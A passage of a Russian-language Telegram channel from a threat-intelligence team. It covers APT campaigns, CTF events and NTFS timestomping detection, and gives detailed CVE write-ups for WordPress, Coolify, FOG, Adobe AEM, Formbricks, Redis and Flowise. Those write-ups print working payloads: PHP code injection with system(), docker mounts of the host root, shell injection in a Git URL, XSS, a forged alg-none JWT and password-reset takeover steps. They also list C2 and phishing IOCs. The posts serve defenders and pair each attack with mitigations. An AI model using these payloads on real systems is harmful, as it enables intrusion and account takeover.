Четыре луча – Telegram
Четыре луча
3.87K subscribers
83 photos
98 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Gorilla: взлет и падение нового банковского трояна

Весной 2025-го в Telegram начали продавать новый банковский троян Gorilla. Многофункциональный, написанный на Kotlin, с интеграцией в Telegram, управлением устройствами и «заточкой» под банковские приложения.

Поначалу всё шло по плану — десятки активных C2, регулярные обновления, коммерческая модель. Но к августу — полная тишина: управляющие сервера не отвечают, Telegram-канал замолчал, а в чате заговорили о проблемах у разработчика.

В статье мы:
😬 разбираем архитектуру Gorilla Panel, написанную на Django (и почему DEBUG стал слабым местом);
😬 анализируем сетевую инфраструктуру и эндпоинты;
😬 рассказываем, как троян «ушёл со сцены» (так же быстро, как появился).

Читать в блоге
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥85👾4👎2
Увидимся на OffZone 2025!

Уже завтра стартует конференция OffZone 2025. Мы в ней участвуем — рассказываем заранее, что приготовили.

🫡 Экскурсия в командный центр Shedding Zmiy

Однажды мы наткнулись на странную веб-панель, а когда пригляделись, поняли, что это целый «командный центр», через которую группировка Shedding Zmiy (и, возможно, некоторые другие группировки) координируют свои атаки на российские организации. В нашем выступлении расскажем:

— как устроена техническая «кухня» злоумышленников;
— с помощью чего они планируют и развивают свои атаки на российские организации и почему иногда такие атаки могут произойти «по клику мыши»;
— как корпоративный подход к организации атак помогает злоумышленникам структурировать свою деятельность.

Приходите 22 августа, в 13:30 в Threat Zone!

🫡 Стенд Solar

Ищите нас на крыше, напротив фото-поинта — на карте это стенд № 11. На стенде проведем розыгрыш призов через лототрон и организуем челленджи. Целых два.

🫡 4RAYS FlagHunt

Подготовили для вас пачку тасков в нашем CTF по реверсу, вебу и форензике. Задания есть разные: и те, что решаются за полчаса, и те над которыми придется попотеть — простым промптом для LLM не отделаться 👀

🫡 «Полный Offense» by DSec

Если чувствуете себя в настроении поиграть за команду «красных», то попробуйте свои силы в челлендже «Полный Offense», который готовят наши коллеги из DSec. Просто не будет!

ЗА ВСЕ ПЛАТИМ МЕРЧОМ И\ИЛИ ЗВОНКИМ ОФФКОИНОМ!

Встречаемся на выступлении и на стенде. Он, кстати, с пасхалкой.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1110👌3🤩1👾1
Хранимая RCE 👀

CVE-2025-8723 — уязвимость удаленного выполнения произвольного кода в плагине Cloudflare Image Resizing для WordPress, которая возникает из-за отсутствия аутентификации и недостаточной очистки в методе hook_rest_pre_dispatch(). Уязвимы версии до 1.5.6.

😬 Метрики
Base Score: 9.8 CRITICAL
CWE: CWE-94


Настоятельно рекомендуем обновиться.


😬 Подробнее
Уязвимость позволяет менять кодовою базу конфигурационного файла config.php. Другими словами, эту уязвимость можно назвать хранимой RCE. В файле существует такой код, который получает данные из параметра cf_image_resizing_format и вставляет их в $config_file.
        $format = @isset($request['cf_image_resizing_format']) ? $request['cf_image_resizing_format'] : null;

if (null !== $format)
{
$file_content = file_get_contents($config_file);

$file_content = preg_replace("/(define\(\'CF_IMAGE_RESIZING_FORMAT\'\,\s\')(.*)(\'\)\;)/", "$1$format$3", $file_content);

file_put_contents($config_file, $file_content);
}


$config_file — это config.php.
 $config_file = WP_PLUGIN_DIR.'/cf-image-resizing/config.php'


Если отправим запрос такого вида,
POST /wp-json/wp/v2/settings/ HTTP/1.1
Host: 192.168.177.165
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 52

{"cf_image_resizing_format":"'); system('id'); /*" }


то получим следующие изменения в конфигурационном файле:
// Recommended: 'auto'
define('CF_IMAGE_RESIZING_FORMAT', ''); system('id'); /*');


Важно отметить, что cf_image_resizing_format — не единственный уязвимый параметр. Еще есть, например, cf_image_resizing_fit. Более подробно с ними можно ознакомиться, скачав плагин и открыв config.php.

Введённый код напрямую добавляется в файлы плагина и позволяет атакующему выполнять внедрённые команды при каждом запросе к сайту без необходимости ввода shell-команд. Например, если в кодовую базу плагина попадёт такая строка, файл Hi.html будет создаваться или перезаписываться при каждом посещении сайта. Любой посетитель триггерит выполнение команды.

Уточнение: при посещении страницы все активные плагины автоматически загружаются, и будет выполнен любой код в их главных файлах или подключаемых конфигурациях.
{"cf_image_resizing_format":"'); system('echo \"<h1>Привет<h1>\" > Hi.html'); /*" }


😬 Как защититься
На WAF можно написать правило, которое отслеживает передачу функций system, exec, shell_exec, eval в параметрах cf_image_resizing_fit, cf_image_resizing_format на конечную точку /wp-json/wp/v2/settings/.
Please open Telegram to view this post
VIEW IN TELEGRAM
6🔥6👀43👍1😁1
Новый инструментарий Fairy Trickster и вероятная связь с Lifting Zmiy

За последнее время вышло много исследований по группировке Fairy Trickster (PhantomCore, Rainbow Hyena, Head Mare) от наших коллег:
😬 «Rainbow Hyena снова атакует: новый бэкдор и смена тактик» от BI.ZONE
😬 «Атрибуция Exchange-кейлоггеров к группировке PhantomCore» от Positive Technologies
😬 «Масштабная кампания кибершпионажа и возможный раскол APT-группировки PhantomCore» от PT

Мы тоже наблюдали аналогичную фишинговую кампанию против наших заказчиков, поэтому хотим поделиться нашей частью уникальной информации про эту группировку.

1️⃣ Помимо описанных коллегами утилит, Fairy Trickster также применяют обратный Socks5 прокси-сервер tsocks и кастомный .NET бэкдор, который предоставляет обратную оболочку и реализует несколько команд.

2️⃣ На этапе постэксплуатации применялась обфусцированная известная отечественная powershell-утилита T1ck3tDump для дампа билетов Kerberos с измененными данными об авторстве.

3️⃣ Злоумышленники через PhantomRemote загрузили новую версию PhantomTaskShell, обфусцированную тем же инструментом, что и утилита T1ck3tDump.

4️⃣ Обфускация упомянутых утилит очень похожа на обфускацию новых версий BrockenDoor группировки Lifting Zmiy (BO_TEAM, Hoody Hyena). Это позволяет предположить, что группировки могут делиться инструментами. В этом случае обфускатором.

Подробнее по пунктам читайте в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥117👀4👍1
Приходите на наш практикум по Sigma-правилам 3-го сентября

Если вы SOC-аналитик, занимаетесь Threat Hunting или DFIR, то у нас для вас новости: 3-го сентября перевернем календарь и проведем онлайн-практикум по созданию крутых Sigma-правил.

Расскажем:

👍 как правильно написанные Sigma позволяют снизить число ложных срабатываний;
👍 что такое Detection as a Code и как он помогает готовить эффективные Sigma-правила;
👍 как применять Sigma-правила в реальных кейсах.

Умеете писать четкие Sigma-правила? Приходите и проверьте у нас на вебинаре!

Когда: 3 сентября, 12:00 МСК.
Как попасть: зарегистрироваться по ссылке
Please open Telegram to view this post
VIEW IN TELEGRAM
9🔥7👍4👎1😁1
Solar 4RAYS FlagHunt: продолжайте охоту

На отгремевшем OFFZONE 2025 мы на нашем стенде проводили CTF. Судя по реакции, наши таски вам понравились: соревновались 200 участников! Кроме того, нас неоднократно просили оставить возможность решать задания после конференции. ❤️

Услышали, оставляем!

Если у вас есть желание попробовать свои силы в решении задач по реверсу, вебу и форензике, приходите на наш сервер и продолжайте охоту. Задания доступны до 2 сентября включительно, а после опубликуем в блоге подробный разбор каждого из них.

Удачи в решении
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥116👍6
RCE RCE XSS В Coolify

В публичном доступе опубликованы три отчета PoC об уязвимостях в coolLabs. Все три уязвимости имеют критический уровень опасности, уязвимы версии до 4.0.0-beta.420.7.

💣 CVE-2025–34159 — платформа позволяет аутентифицированным пользователям с минимальными правами внедрять произвольные директивы Docker Compose при создании проекта. Злоумышленник создает вредоносную службу, которая монтирует корневую файловую систему хоста, и получает полный доступ с правами root к серверу.

💣 CVE-2025–34161 — платформа позволяет аутентифицированным пользователям с ролью «Участник» выполнять произвольные команды-оболочки через поле Git Repository при создании проекта.

💣 CVE-2025–34157 — платформа уязвима к атаке с использованием хранимого межсайтового скриптинга (XSS) в процессе удаления проекта.

Для всех атак необходима аутентификация, что немного смягчает ее воздействие.

😬 Как эксплуатируется CVE-2025–34159
Для атаки злоумышленник должен совершить действия:

Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Docker Compose Empty - > создать Docker Compose с подобным содержимым - > запустить деплой (Deploy)
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo 'LOL RCE' > /host/tmp/proof_rce.txt
"


▪️ /:/host:rw — монтирует root файловой системы хоста (/) в контейнер по пути /host;
▪️ echo 'LOL RCE' > /host/tmp/proof_rce.txt — создаст файл proof_rce.txt в директории /host/tmp/ контейнера, и этот тот же самый файл в директории /tmp/ на хосте.

😬 Как эксплуатируется CVE-2025–34161
Для атаки злоумышленник должен совершить действия:

Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Private Repository (with GitHub App) - > В поле HTML Url ввести https://github.com/XXX/XXXX.git; ls #; - > выбрать созданный ресурс - > запустить деплой (Deploy)

😬 Как эксплуатируется CVE-2025–34157
Для атаки злоумышленник должен совершить действия:

Создать новый проект (New Project) -> задать имя(Name), например <img src = "x" onerror = alert("XSS ")>

При удалении такого проекта администратор или владелец получит выполнение XSS. При удалении XSS скрипт попадает в окно вывода ошибки.

В качестве примера на рисунке показана CVE-2025–34159 (Скриншот 1) и CVE-2025–34157 (Скриншот 2).

😬 Как защищаться
CVE-2025–34159 — можно написать правило, которое будет блокировать запросы на конечную точку /livewire/update, если в параметре JSON updates передаются спец символы, например: ; | && < > ` { }
"updates":{"github_app.html_url":"https://github.com:fake/repo.git; ls -la #;"}


CVE-2025–34161 — это поведение потенциально допустимо для пользователей с высокими правами. Поэтому правило на передачу command может привести к ложным сработкам. Рекомендуем обновиться или ограничить как передачу команд, так и монтирование директорий для всех пользователей.

CVE-2025–34157 — большинство современных WAF имеют большой набор сигнатур по выявлению XSS. Но также можно написать правило, опираясь на позитивную модель. Так как речь идет об имени проекта то блокировать передачу ; | & < > ` { } , - = + Конечная точка - /livewire/update, Json параметр:
"updates":{"name":"<img src = \"x\" onerror = alert(\"RCE!\")>","denoscription":"<img src = \"x\" onerror = alert(\"RCE!\")>"}
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍652❤‍🔥1
Solar 4RAYS FlagHunt: опубликовали разборы заданий 😬

Недавно рассказывали про наш CTF Solar 4RAYS FlagHunt, который готовили для OFFZONE. Теперь публикуем подробный разбор всех 11 тасков. Если решали, но не решили, то читайте в нашем блоге подробности.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥953👍3
Одна уязвимость три проблемы — CVE-2025-58443

CVE-2025–58443 — это уязвимость обхода авторизации в FOG Project. Версии 1.5.10.1673 и ниже уязвимы.

😬 Метрики
Base Core: 9.9
CWE: CWE-306 CWE-287


Злоумышленник может:
1️⃣ выполнить неаутентифицированный дамп базы данных;
2️⃣ листинг директорий;
3️⃣ выполнить SSRF-атаку, а также Open redirection.

😬 Подробнее
Уязвимость заключается в том, что при обращении к конечным точкам не проверяется авторизация. POST запрос на данную конечную точку /fog/management/export.php приведет к извлечению базы.
POST /fog/management/export.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

fogguiuser=&fogguipass=&nojson=4&export=3


Дополнение: данный URI так же уязвим к RCE в версии ≤ 1.5.10.34. RCE передается через аналогичный POST запрос на /fog/management/export.php?filename=$(id)&type=pdf.

☀️ GET запрос на /fog/service/getversion.php?url=<PATH> вызовет SSRF.
☀️ GET запрос на /fog/status/getfiles.php?path=<DIR> вызовет листинг каталога.

Сейчас известно только о трех уязвимых точках. Процесс эксплуатации — на скриншоте.

😬 Как защищаться
1) Обновиться.
2) Закрыть доступ к /fog/service/, /fog/status/, /fog/management/ для внешних IP, например, правилами на WAF/IDS.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍32🤔1
Приходите нас послушать на VolgaCTF

До 19 сентября в Самаре идет VolgaCTF — ежегодные международные соревнования по информационной безопасности. В программе конференции есть доклад от Solar 4RAYS — «Байки Blue Team: как атакуют профессионалы (и не только)». Об этом расскажут:

Денис Чернов, инженер группы расследований инцидентов;
Дмитрий Маричев, аналитик группы анализа вредоносного ПО в Solar 4RAYS.

Приходите 17 сентября в 12:30 в отель «Лотте». Ответим на все вопросы 😀
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1413👌7
NGC6061: серия фишинговых атак на госсектор

С сентября 2024 года и по текущий момент наблюдаем серию фишинговых рассылок на российские организации из госсектора. Эту кампанию мы причисляем к деятельности пока еще неизвестного киберпреступного кластера NGC6061.

1️⃣ Для обхода защиты злоумышленники используют запароленные архивы.
2️⃣ Атака начинается с self-extracting LNK-файлов, запускающих powershell-скрипты для декодирования вредоносных компонентов.
3️⃣ В качестве приманок используют документы со встроенным механизмом профилирования целей.
4️⃣ Конечная нагрузка может быть в виде Reverse Shell или Metasploit TCP Reverse.

Подробное описание фишинговых писем и индикаторы компрометации ищите в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12🤔6👍4👾2
Археология и Threat Intelligence

Киберразведка иногда напоминает археологию, потому что помогает обнаружить уникальные артефакты не в новых инцидентах, а в прошлом. Подобные флешбэки в некоторых случаях помогают выявить неожиданные связи между инцидентами, которые раньше не были связаны. Или позволяют найти старые инструменты, которые до сих пор могут использовать в атаках. Сегодня мы делимся примером таких раскопок.

🫡 В последнее время видим много публикаций и выступлений о группировке Fairy Trickster (Head Mare | PhantomCore | Rainbow Hyena) от разных вендоров, от нас в том числе. И мы нашли еще одну фишинговую рассылку FairyTrickster, а также вредоносный инструмент, который назвали PhantomSender.

В одном из своих отчетов эксперты F6 описали цепочку атаки 2022 года, в которой с помощью дроппера запускался StatRAT. Дроппер был приманкой для проверки сети. Мы уже видели и писали о фишинговой кампании, в которой распространялся похожий валидатор для проверки сети.

Примечательно, что злоумышленники не использовали вложения, а распространяли стилер PhantomSender через фишинговый сайт minspecsvyaz.ru (скриншот 1). Валидатор загружался по ссылкам вида:
http://minspecsvyaz.ru/validator
http://minspecsvyaz.ru/validator?v=2b24c
https://minspecsvyaz.ru/Validator.exe


В фишинговом письме злоумышленники писали от имени Роскомнадзора, как и в файле-приманке, который анализировали F6. Атаковали примерно в одно и то же время. Файлы-приманки обманывали по одному принципу — отображали сообщение об успешности проверки сетевого соединения (скриншот 2).

💣 Так мы поняли, что PhantomSender — тоже инструмент Fairy Trickster!

Мы обнаружили еще несколько более новых версий инструмента, которые уже были стилизованы под установщик сертификата. По сравнению с первой версией вредонос научился собирать больше типов файлов и использовать HTTP-протокол для эксфильтрации вместо FTP. Среди новых типов файлов — .dst, .psw, .xps, .dst, .sok. Общее количество собираемых типов возросло до 30.

😬 Киберразведка — это инструмент, который существует не только в настоящем, но и в прошлом. Поэтому, чтобы лучше защищать клиентов в настоящем и будущем, советуем не пренебрегать такими «археологическими» раскопками!

IOC 2022 г.
PDB-пути:
C:\my\r\zpskch02\zpskch\obj\Release\Validator.pdb
C:\Users\1\source\repos\hackamakafon\SocketClient2\TestFirstIteration\obj\Release\Validator.pdb


C2
ftp://st24308.ispot.cc
ftp://st23419.ispot.cc
https://backup5.abc-server.com/webdav/user40421/


Архивы
bc05caef56633988a523d394ead5b81b
9ae7c71825bfb70221548a60536fd36f
a895fd1df8bc7c0788a8eb4ffb282cfa
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥65🥰1😁1🤔1
Детектируем антифорензику в NTFS: как превратить старания злоумышленников в преимущество при расследовании

Последний год видим, что стало больше случаев применения такой техники антифорензики, как Timestomping (Т1070.006) или подмена временных меток у файлов. Если модификацией $STANDARD_INFORMATION ($SI) в Windows уже никого не удивить, то подмена временных меток $FILE_NAME ($FN) в NTFS достаточно долго была редким явлением, которое находили лишь в некоторых APT-атаках с участием азиатских групп. Но теперь эту технику используют в том числе группировки из восточной Европы, которые занимаются шифрованием. Значит техника подмены $FN пошла в массы 👀

Чем опасен Timestomping?

👍 При просмотре событий в виде таймлайнов файл с подмененной меткой может быть вне окрестности активности атакующих и попросту пропущен.
👍 Часто дата, на которую совершается подмена, соответствует легитимным файлам, среди которых пытаются скрыть что-то плохое. Найти вредоносный имплант в окрестности легитимной активности — не простая задача.

Как обнаружить подмену $SI, уже давно пишут в учебниках по DFIR — можно просто сравнить временную метку создания файла из $SI с меткой создания из $FN. Если значения расходятся, делаем вывод: $SI — не настоящее время создания файла (только учитывайте, что некоторые легитимные файлы часто тоже имеют неверную дату создания). И давно рекомендуют, что при анализе файлов нужно смотреть именно на $FN Creation, чтобы избежать проблем с техникой Timestomping.

Но что делать, если $FN метки тоже подменены?

1️⃣ Проверь нули. Интересный факт: при подмене меток $FN атакующие не хотят или не могут поменять миллисекунды у временных меток, из-за чего все модифицированные метки будут без миллисекунд. Как гарантированный детект работает не очень хорошо — будут ложные срабатывания, но что вам мешает посмотреть детекты в окрестности инцидента?

2️⃣ Четвертый не лишний. В NTFS 4 пары временных меток: Creation, Modification, Access и Entry. Подмену временной метки $FN Entry мы не видели ни разу. Возможно, про неё все забыли. Все временные метки $FN обычно хранят одно и то же значение, соответственно, истинную дату создания файла можно восстановить именно благодаря значению из $FN Entry. Но при условии, что файл не был перезаписан второй раз.

Вот это уже похоже на детект:
Если в записи MFT в $FN миллисекунды Creation, Modification и Access равны нулю, а миллескунды Entry не равны нулю, то вероятна подмена $FN меток.


3️⃣ Иногда атакующие любят создавать директории для своего вредоносного ПО, а при выполнении техники Timestomping напрочь забывают, что дата создания директории соответствует дате размещения их собственного «скрытого» файла. Это касается и времени модификации легитимных директорий.

Не живите в иллюзии, что какие-то техники остались забытыми: напишите на них детекты, даже если они будут не идеальными. Однажды детекты помогут вам быстрее обнаружить злоумышленников при расследовании.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥137🤯4👾1
Ловите небольшую лабораторную работу, в которой мы промоделируем CVE-2025-49533.

CVE-2025-49533 — это уязвимость десериализации Java в модуле FormServer. Сервлет обрабатывает данные от пользователя, декодируя и десериализуя их без проверки в Adobe Experience Manager версии >= 6.5.23. Это может позволить злоумышленникам отправлять вредоносные данные, чтобы выполнять команды на сервере.

😬 Реальная эксплуатация будет выглядеть так:
/FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/…….</@urlencode>


Эта полезная нагрузка — результат выполнения:
java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "<RCE>" | gzip | base64 -w0


Хоть уязвимость вызвана в модуле Java, но мы будем использовать python, чтобы проще ее объяснить и смоделировать.

💡 Важное уточнение: этот код — эмуляция десериализации, реальных объектов не создает и функции не вызывает.

Создадим шаблон полезной нагрузки.
<@urlencode> RCE </@urlencode>


RCE — это результат выполнения команды.
echo -n "nslookup google.com" | gzip | base64 -w0


Итоговый payload:
<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>


Pуthon сервер:
import urllib.parse
import base64
import gzip
import io
from flask import Flask, request
import subprocess
import logging

app = Flask(__name__)

# Set up logging
logging.basicConfig(
filename='exploit.log',
level=logging.INFO,
format='[%(asctime)s] %(message)s',
)

@app.route('/rce')
def debug():
payload = request.args.get('cmd')

if payload:
if payload.startswith("<@urlencode>") and payload.endswith("</@urlencode>"):
payload = payload[len("<@urlencode>"):-len("</@urlencode>")]
print(payload)
decoded_url = urllib.parse.unquote_plus(payload)
print(decoded_url)
decoded_bytes = base64.b64decode(decoded_url)
print(decoded_bytes)
try:
with gzip.GzipFile(fileobj=io.BytesIO(decoded_bytes)) as f:
decompressed = f.read()
except Exception:
decompressed = decoded_bytes

ascii_text = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decompressed])

try:
cmd = ascii_text[:1000]
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
return f"<pre>{output}</pre>"
except subprocess.CalledProcessError as e:
return f"<pre>Error:\n{e.output}</pre>"
else:
return "example /rce?cmd=&lt;@urlencode&gt;H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA&lt;/@urlencode&gt;", 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=4502, debug=True)


При отправке нашего payload на сервере произойдет
:
1️⃣ отчистка от тегов <@urlencode> <\@urlencode>;
2️⃣ декодирование URL;
3️⃣ декодирование в Base64;
4️⃣ распаковка gzip;
5️⃣ выполнение RCE.

😬 Как защититься:
1) При реальной эксплуатации запрос будет представлять собой Base64 строку в тегах <@urlencode> </@urlencode>.
2) Base64 строка будет начинаться с H4s, что говорит о формате gzip .
3) Полезная нагрузка передается методом GET .
4) Конечная точка /FormServer/servlet/GetDocumentServlet .

Ставьте ❤️, если хотите видеть больше лабораторных работ в канале.
Please open Telegram to view this post
VIEW IN TELEGRAM
46🔥9👍5👾1
JWT "alg none" vulnerability — CVE-2025-59934

CVE-2025-59934 — уязвимость в Formbricks, которая связана с процедурой валидации токенов. Она только декодирует JWT без проверки их подписей, что позволяет обходить авторизацию или сбрасывать пароль. Уязвимы версии до 4.0.1.

Formbricks — платформа с открытым исходным кодом для сбора отзывов и управления пользовательским опытом. Имеет более 11 тысяч звезд на github.

🫡 Метрики
Base Score: 9,4 Critical
CWE: 345, 287, 347


🫡 Кратко о JWT
JWT (JSON Web Token) — токен авторизации, который состоит из следующих компонентов:

Header — информация об алгоритме и типе токена;
Payload — полезные данные, например ID пользователя, роли;
Signature — защита от подделки (цифровая подпись).

Всё это кодируется в Base64Url :
xxxxx.yyyyy.zzzzz


🫡 Подробнее
В файле apps/web/lib/jwt.ts до патча существовал такой участок кода:
export const verifyToken = async (token: string): Promise<JwtPayload> => {
// First decode to get the ID
const decoded = jwt.decode(token);
const payload: JwtPayload = decoded as JwtPayload;

if (!payload) {
throw new Error("Token is invalid");
}


jwt.decode() не проверяет подпись токена — функция просто берёт base64-данные из токена и превращает их в объект.

То есть если взять любой существующий userId из базы и создать токен вида:
header = {"alg":"none","typ":"JWT"}
payload = {"id":"cmg52lkge0000pd01oq32fjhe"}

jwt.decode() его спокойно примет. И если пользователь существует, возвращает валидный JwtPayload.

Другими словами, проверка подлинности (verify) обходится — токен можно «подделать» вручную.

Важно: для атаки необходимо знать user.id. Этот идентификатор хранится в базе данных PostgreSQL.

🫡 Эксплуатация
Создаем JWT вида
base64Encode:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.


base64Decode:
{
"alg": "none",
"typ": "JWT"
}
{
"id": "cmg52lkge0000pd01oq32fjhe"
}


Отправляем запрос:
http://localhost:3001/auth/forgot-password/reset?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.


Получает ответ от сервера:
0:{"a":"$@1","f":"","b":"Ap_lGlUnNFOHjKjBaGekh"}
1:{"data":{"success":true}}


🫡 Как защищаться
Если на WAF можно декодировать JWT в параметре запроса, то настроить его так, чтобы запросы токенами с "alg":"none" блокировались.

Если такой возможности нет, то можно воспользоваться подобным регулярным выражением, которые бы проверяло целостность JWT ^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.$.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍85🙉1👾1
NGC4141: атака на кастомные веб-приложения

Публичные веб-приложения можно строить на распространенном ПО, например WordPress, Bitrix, Tilda. Или с помощью кастомных решений. С точки зрения безопасности оба подхода имеют свои плюсы и минусы.

😬 Минус распространенного ПО:
— обязательно появятся публичные эксплойты под уязвимости в самом приложении или в одном из плагинов для него;
— через них будут атаковать.

😬 Плюсы такого ПО:
— при правильной конфигурации обеспечивает предсказуемый уровень защищенности;
— даже для новых уязвимостей в ПО можно проводить компенсирующие меры.

У кастомного решения, которое разработали с нуля или на основе распространенного ПО, тоже есть свои плюсы и минусы.

😬 Плюсы:
— скорее всего, эксплойтов в открытом доступе не будет;
— атаковать такую инфраструктуру сложнее.

😬 Минусы:
— непросто спрогнозировать защищенность;
— если инцидент произойдет, обнаружить и расследовать проникновение может быть сложнее.

Именно о такой атаке рассказываем в нашей новой статье про кластер NGC4141. Атакующие (предположительно из Восточной Азии) шпионили за российской госорганизацией. Использовали простые, но эффективные веб-шеллы, обошли АВПО и WAF. Все подробности в блоге.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍62🤨2👾1
Сборщик мусора ломает безопасность Redis

CVE‑2025‑49844
— это критическая уязвимость с условным названием RediShell. Она затрагивает Redis в различных ветках до версий 7.2.11 / 7.4.6 / 8.0.4 / 8.2.1 и связана со встроенным интерпретатором Lua.

😬 Метрики
Base Score: 9.9 (Critical)
CWE: 416


😬 Суть проблемы
Ошибка реализуется как Use‑After‑Free (UAF) — злоумышленник с правом выполнять Lua‑скрипты (авторизованный пользователь или злоумышленник на незащищённом экземпляре Redis) может сформировать скрипт, который:

— манипулирует сборщиком мусора (GC);
— освобождает ещё используемую структуру.

Это приводит к повреждению памяти -> позволяет выйти из песочницы Lua -> выполнить произвольный код на хосте. Поскольку большинство экземпляров Redis допускают выполнение Lua‑скриптов через команду EVAL, атакующий может удалённо отправить вредоносный скрипт и добиться RCE.

😬 Причина уязвимости
Redis использует Lua 5.1, чтобы выполнять пользовательские скрипты. Lua при загрузке фрагментов кода (chunk(ов)) присваивает фрагментам имя. Если во время разбора кода запустить сборщик мусора (GC), то память с этим именем может быть освобождена -> парсер продолжит пользоваться невалидным именем, а это Use-After-Free -> контроль памяти и перехват выполнения.

😬 Сценарий возможной атаки
1. Атакующий подключается к Redis.
2. Отправляет специально сформированный Lua‑скрипт через команду EVAL, который использует финализаторы и сборку мусора для создания UAF.
3. После получения примитивов UAF злоумышленник может выполнить дополнительные Lua‑команды, которые позволяют ему выйти из песочницы, например:
package.loadlib, io.popen, os.execute

и т. п., затем загрузить произвольную библиотеку и выполнить машинный код, получив полный доступ к хосту.

😬 Способы защититься
Обновить Redis — уже выпущены патчи, где разработчики корректно привязали имя фрагмента к стеку, что исключает UAF.

Если не получается обновить, можно сделать следующее:
— ограничить доступ к Redis — сервер предназначен для работы в доверенной сети;
— настроить аутентификацию и ACL — включить сильный пароль в директиве requirepass, а также использовать механизмы ACL для запрета выполнения Lua‑скриптов неподдерживаемыми пользователями;
— отключить опасные команды EVAL и EVALSHA путём их переименования.

😬 Мониторинг и обнаружение
Выявить атаку в сети можно через анализ содержимого команды EVAL, которая приходит извне по протоколу RESP. Правило IDS, которое обнаруживает отправку команды EVAL, должно содержать в себе признаки триггера UAF — вызов collectgarbage('collect') и определение метода __gc, либо попытку использования опасных функций, таких как:
package.loadlib, io.popen, os.execute


Правило может быть ориентировано на TCP‑трафик к стандартным портам Redis (6379,6380).
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍631👾1
Сбросить пароль я тебе дам и токен я тебе тоже сразу дам — CVE-2025-58434

CVE-2025–58434 — раскрытие токена сброса пароля, которое приводит к захвату учетной записи в Flowise в версиях <=3.0.5
CVE-2025-59528 позволяет аутентифицированным пользователям удаленно выполнять код (RCE) в Flowise в версиях <=3.0.5.
CVE-2025-61687/CVE-2025-26319 позволяет аутентифицированным пользователям загружать произвольные файлы без надлежащей проверки в Flowise в версиях <=3.0.7.

Flowise — это open-source-платформа с открытым исходным кодом, которая позволяет разработчикам визуально создавать и развёртывать AI-агентов и потоки для работы с большими языковыми моделями (LLM). У нее больше 45 тысяч звезд на github.


💡 Настоятельно рекомендуем обновиться.

👍 Метрики: CVE-2025–58434
Base Core: 9,8
CWE: CWE-306


👍 Метрики:CVE-2025-59528
Base Core: 10
CWE: CWE-94

👍 Метрики:CVE-2025-61687
Base Core: 8.8
CWE: CWE-434


👍 Об уязвимости
Конечная точка /api/v1/account/forgot-password на вход принимает простой json.
{"user":{"email":"XXX@XXX.XXX"}}


json передает email-адрес, на который нужно отправить письмо с приватным токеном для смены пароля. На запрос сервер формирует ответ, который раскрывает приватный токен в теле ответа в параметре tempToken.
{"user":{"id":"35c016f5-26cf-464f-81b8-424fb53f7a22","name":"test","email":"XXX@XXX.XXX ","credential":"$2a$05$qwiE0QxVe13PCdAohQ7Oe.NUvw.RrOQgrixnrm1oogMrv7h5dkfyS","tempToken":"SHVoGl0YGEIBjHRFbuTqEu3QyoHxfBMwyGhnyRfWq5Qefp6ExhG3y2fVK8V0OzOk","tokenExpiry":"2025-10-16T11:34:57.584Z","status":"active","createdDate":"2025-10-16T10:40:14.000Z","updatedDate":"2025-10-16T11:19:57.000Z","createdBy":"35c016f5-26cf-464f-81b8-424fb53f7a22","updatedBy":"35c016f5-26cf-464f-81b8-424fb53f7a22"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}


👍 Атака по шагам
Уточнение: для атаки необходимо знать действительный email-адрес.

1) Отправляют запрос на сброс пароля.
2) С помощью BurpSuite перехватывают ответ.
3) Извлекают приватный токен (tempToken) из тела ответа.
4) Формируют ссылку на активацию токена /reset-password?token=<redacted-tempToken>.
5) Сбрасывают пароль на /api/v1/account/reset-password.
{
"user":{
"email":"XXX@XXX.XXX",
"tempToken":"<redacted-tempToken>",
"password":"Admin1234!"
}
}

6) Получают ответ с кодом 201, который говорит об успешном изменении пароля.

👍 Возможные последствия
